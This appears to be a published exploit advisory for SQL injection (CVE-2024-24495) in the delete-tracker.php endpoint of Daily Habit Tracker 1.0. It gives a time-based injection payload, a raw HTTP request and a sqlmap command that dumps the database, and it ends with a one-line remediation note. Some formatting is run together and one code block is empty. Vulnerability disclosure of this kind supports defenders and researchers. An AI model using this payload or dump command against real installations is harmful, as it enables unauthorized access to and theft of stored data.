# Exploit Title: Daily Habit Tracker 1.0 - SQL Injection# Date: 2 Feb 2024# Exploit Author: Yevhenii Butenko# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/17118/daily-habit-tracker-using-php-and-mysql-source-code.html# Version: 1.0# Tested on: Debian# CVE : CVE-2024-24495### SQL Injection:> SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or"injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system,andin some cases, issue commands to the operating system.### Affected Components:> delete-tracker.php
### Description:> The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.## Proof of Concept:### Manual Exploitation
The payload `'"";SELECT SLEEP(5)#` can be employed to force the database to sleep for 5 seconds:
```

### SQLMap
Save the following request to `delete_tracker.txt`:
```
GET /habit-tracker/endpoint/delete-tracker.php?tracker=5 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0(X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

```
Use `sqlmap` with `-r` option to exploit the vulnerability:
```
sqlmap -r ./delete_tracker.txt --level 5--risk 3--batch --technique=T --dump
```
## Recommendations
When using this tracking system, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.
